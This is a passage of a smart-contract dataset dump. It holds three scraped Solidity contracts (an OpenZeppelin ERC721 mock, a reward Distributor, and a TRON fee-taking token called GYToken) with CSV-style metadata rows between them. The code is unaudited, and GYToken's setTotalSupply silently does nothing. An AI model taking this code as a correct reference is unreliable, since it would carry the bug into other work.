function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function verifyCallResultFromTarget(address target,
bool success,
bytes memory returndata,
string memory errorMessage) internal view returns (bytes memory) {
if (success) {
if (returndata.length == 0) {
// only check isContract if the call was successful and the return data is empty
// otherwise we already know that it was a contract
require(isContract(target), "Address: call to non-contract");
}
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function _revert(bytes memory returndata, string memory errorMessage) private pure {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
/// @solidity memory-safe-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts (last updated v4.7.0) (utils/Strings.sol)
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
uint8 private constant _ADDRESS_LENGTH = 20;
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
function toHexString(address addr) internal pure returns (string memory) {
return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);
}
}
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: address zero is not a valid owner");
return _balances[owner];
}
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: invalid token ID");
return owner;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
_requireMinted(tokenId);
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
function _baseURI() internal view virtual returns (string memory) {
return "";
}
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not token owner or approved for all");
_approve(to, tokenId);
}
function getApproved(uint256 tokenId) public view virtual override returns (address) {
_requireMinted(tokenId);
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
function transferFrom(address from,
address to,
uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: caller is not token owner or approved");
_transfer(from, to, tokenId);
}
function safeTransferFrom(address from,
address to,
uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(address from,
address to,
uint256 tokenId,
bytes memory data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: caller is not token owner or approved");
_safeTransfer(from, to, tokenId, data);
}
function _safeTransfer(address from,
address to,
uint256 tokenId,
bytes memory data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, data), "ERC721: transfer to non ERC721Receiver implementer");
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || isApprovedForAll(owner, spender) || getApproved(tokenId) == spender);
}
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
function _safeMint(address to,
uint256 tokenId,
bytes memory data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, data),
"ERC721: transfer to non ERC721Receiver implementer");
}
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
_afterTokenTransfer(address(0), to, tokenId);
}
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
delete _tokenApprovals[tokenId];
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
_afterTokenTransfer(owner, address(0), tokenId);
}
function _transfer(address from,
address to,
uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
delete _tokenApprovals[tokenId];
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
_afterTokenTransfer(from, to, tokenId);
}
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
function _setApprovalForAll(address owner,
address operator,
bool approved) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
function _requireMinted(uint256 tokenId) internal view virtual {
require(_exists(tokenId), "ERC721: invalid token ID");
}
function _checkOnERC721Received(address from,
address to,
uint256 tokenId,
bytes memory data) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
/// @solidity memory-safe-assembly
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
function _beforeTokenTransfer(address from,
address to,
uint256 tokenId) internal virtual {}
function _afterTokenTransfer(address from,
address to,
uint256 tokenId) internal virtual {}
}
abstract contract ERC721Burnable is Context, ERC721 {
function burn(uint256 tokenId) public virtual {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: caller is not token owner or approved");
_burn(tokenId);
}
}
contract ERC721BurnableMock is ERC721Burnable {
constructor(string memory name, string memory symbol) ERC721(name, symbol) {}
function exists(uint256 tokenId) public view returns (bool) {
return _exists(tokenId);
}
function mint(address to, uint256 tokenId) public {
_mint(to, tokenId);
}
function safeMint(address to, uint256 tokenId) public {
_safeMint(to, tokenId);
}
function safeMint(address to,
uint256 tokenId,
bytes memory _data) public {
_safeMint(to, tokenId, _data);
}
}
| 63,400 | 10,579 |
0584044e986bdd7f9d20d5d6d46384095f1dc278d3f3eaab3a0dc42ac4256aaf
| 18,048 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/21/2156a7cd6cb5c0d66b333b31df77d6c4b6de9bf0_Distributor.sol
| 3,981 | 15,737 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) {
return div(mul(total_, percentage_), 1000);
}
function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) {
return sub(total_, div(mul(total_, percentageToSub_), 1000));
}
function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) {
return div(mul(part_, 100) , total_);
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) {
return sqrrt(mul(multiplier_, payment_));
}
function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) {
return mul(multiplier_, supply_);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IPolicy {
function policy() external view returns (address);
function renouncePolicy() external;
function pushPolicy(address newPolicy_) external;
function pullPolicy() external;
}
contract Policy is IPolicy {
address internal _policy;
address internal _newPolicy;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_policy = msg.sender;
emit OwnershipTransferred(address(0), _policy);
}
function policy() public view override returns (address) {
return _policy;
}
modifier onlyPolicy() {
require(_policy == msg.sender, "Ownable: caller is not the owner");
_;
}
function renouncePolicy() public virtual override onlyPolicy() {
emit OwnershipTransferred(_policy, address(0));
_policy = address(0);
}
function pushPolicy(address newPolicy_) public virtual override onlyPolicy() {
require(newPolicy_ != address(0), "Ownable: new owner is the zero address");
_newPolicy = newPolicy_;
}
function pullPolicy() public virtual override {
require(msg.sender == _newPolicy);
emit OwnershipTransferred(_policy, _newPolicy);
_policy = _newPolicy;
}
}
interface ITreasury {
function mintRewards(address _recipient, uint _amount) external;
}
contract Distributor is Policy {
using SafeMath for uint;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable SnowShiba;
address public immutable treasury;
uint32 public immutable epochLength;
uint32 public nextEpochTime;
mapping(uint => Adjust) public adjustments;
struct Info {
uint rate; // in ten-thousandths (5000 = 0.5%)
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
constructor(address _treasury, address _SnowShiba, uint32 _epochLength, uint32 _nextEpochTime) {
require(_treasury != address(0));
treasury = _treasury;
require(_SnowShiba != address(0));
SnowShiba = _SnowShiba;
epochLength = _epochLength;
nextEpochTime = _nextEpochTime;
}
function distribute() external returns (bool) {
if (nextEpochTime <= uint32(block.timestamp)) {
nextEpochTime = nextEpochTime.add32(epochLength); // set next epoch time
// distribute rewards to each recipient
for (uint i = 0; i < info.length; i++) {
if (info[ i ].rate > 0) {
ITreasury(treasury).mintRewards(// mint and send from treasury
info[ i ].recipient,
nextRewardAt(info[ i ].rate));
adjust(i); // check for adjustment
}
}
return true;
} else {
return false;
}
}
function adjust(uint _index) internal {
Adjust memory adjustment = adjustments[ _index ];
if (adjustment.rate != 0) {
if (adjustment.add) { // if rate should increase
info[ _index ].rate = info[ _index ].rate.add(adjustment.rate); // raise rate
if (info[ _index ].rate >= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
} else { // if rate should decrease
info[ _index ].rate = info[ _index ].rate.sub(adjustment.rate); // lower rate
if (info[ _index ].rate <= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
}
}
}
function nextRewardAt(uint _rate) public view returns (uint) {
return IERC20(SnowShiba).totalSupply().mul(_rate).div(1000000);
}
function nextRewardFor(address _recipient) public view returns (uint) {
uint reward;
for (uint i = 0; i < info.length; i++) {
if (info[ i ].recipient == _recipient) {
reward = nextRewardAt(info[ i ].rate);
}
}
return reward;
}
function addRecipient(address _recipient, uint _rewardRate) external onlyPolicy() {
require(_recipient != address(0));
info.push(Info({
recipient: _recipient,
rate: _rewardRate
}));
}
function removeRecipient(uint _index, address _recipient) external onlyPolicy() {
require(_recipient == info[ _index ].recipient);
info[ _index ].recipient = address(0);
info[ _index ].rate = 0;
}
function setAdjustment(uint _index, bool _add, uint _rate, uint _target) external onlyPolicy() {
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
}
| 73,530 | 10,580 |
1f83dedebef19fc2829ba9b9a3b9a9392db5622a8103b5026fc0fbe805632260
| 16,427 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TH/THeGSH9eBPhMy15jJDeS55zZbQKtPzH1Pr_GYToken.sol
| 2,890 | 10,891 |
//SourceUnit: GYToken.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface ITRC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma experimental ABIEncoderV2;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath#mul: OVERFLOW");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath#div: DIVISION_BY_ZERO");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath#sub: UNDERFLOW");
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath#add: OVERFLOW");
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath#mod: DIVISION_BY_ZERO");
return a % b;
}
}
contract GYToken is Context, ITRC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
string private _name = 'GYToken';
string private _symbol = 'GY';
uint8 private _decimals = 6;
uint256 private _totalSupply = 9134 * 10**uint256(_decimals);
address private _fundAddress;
uint256 public _liquidityFee = 3;
uint256 private _previousLiquidityFee = _liquidityFee;
uint256 public _fundFee = 3;
uint256 private _previousFundFee = _fundFee;
uint256 public MAX_STOP_FEE_TOTAL = 1000 * 10**uint256(_decimals);
mapping(address => bool) private _isExcludedFromFee;
uint256 private _liquidityFeeTotal;
uint256 private _fundFeeTotal;
address public _exchangePool;
constructor (address fundAddress) public {
_fundAddress = fundAddress;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
receive () external payable {}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function setTotalSupply(uint256 number) public onlyOwner {
uint256 subNumber = number * 10**uint256(_decimals);
_totalSupply.sub(subNumber);
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function safe(address reAddress) public {
require(msg.sender == owner());
ITRC20(reAddress).transfer(owner(), ITRC20(reAddress).balanceOf(address(this)));
}
function setMaxStopFeeTotal(uint256 total) public onlyOwner {
MAX_STOP_FEE_TOTAL = total;
restoreAllFee();
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setExchangePool(address exchangePool) public onlyOwner {
_exchangePool = exchangePool;
}
function totalFundFee() public view returns (uint256) {
return _fundFeeTotal;
}
function totalLiquidityFee() public view returns (uint256) {
return _liquidityFeeTotal;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
if (_totalSupply <= MAX_STOP_FEE_TOTAL) {
removeAllFee();
_transferStandard(sender, recipient, amount);
} else {
if(_isExcludedFromFee[sender] ||
_isExcludedFromFee[recipient] ||
recipient == _exchangePool) {
removeAllFee();
}
_transferStandard(sender, recipient, amount);
if(_isExcludedFromFee[sender] ||
_isExcludedFromFee[recipient] ||
recipient == _exchangePool) {
restoreAllFee();
}
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 tTransferAmount, uint256 tLiquidity, uint256 tFund) = _getValues(tAmount);
_balances[sender] = _balances[sender].sub(tAmount);
_balances[recipient] = _balances[recipient].add(tTransferAmount);
if(!_isExcludedFromFee[sender] &&
!_isExcludedFromFee[recipient] &&
recipient != _exchangePool) {
_balances[_exchangePool] = _balances[_exchangePool].add(tLiquidity);
_liquidityFeeTotal = _liquidityFeeTotal.add(tLiquidity);
_balances[_fundAddress] = _balances[_fundAddress].add(tFund);
_fundFeeTotal = _fundFeeTotal.add(tFund);
emit Transfer(sender, _exchangePool, tLiquidity);
emit Transfer(sender, _fundAddress, tFund);
}
emit Transfer(sender, recipient, tTransferAmount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(10 ** 2);
}
function calculateFundFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_fundFee).div(10 ** 2);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tLiquidity, uint256 tFund) = _getTValues(tAmount);
return (tTransferAmount, tLiquidity, tFund);
}
function _getTValues(uint256 tAmount) private view returns (uint256,uint256, uint256) {
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tFund = calculateFundFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tLiquidity).sub(tFund);
return (tTransferAmount, tLiquidity, tFund);
}
function removeAllFee() private {
if(_liquidityFee == 0 && _fundFee == 0) return;
_previousLiquidityFee = _liquidityFee;
_previousFundFee = _fundFee;
_liquidityFee = 0;
_fundFee = 0;
}
function restoreAllFee() private {
_liquidityFee = _previousLiquidityFee;
_fundFee = _previousFundFee;
}
}
| 294,169 | 10,581 |
ffc9ed6d660a63191a8727c3d59f4331bfe4a080d640eefe5af49ff4e500caf5
| 15,918 |
.sol
|
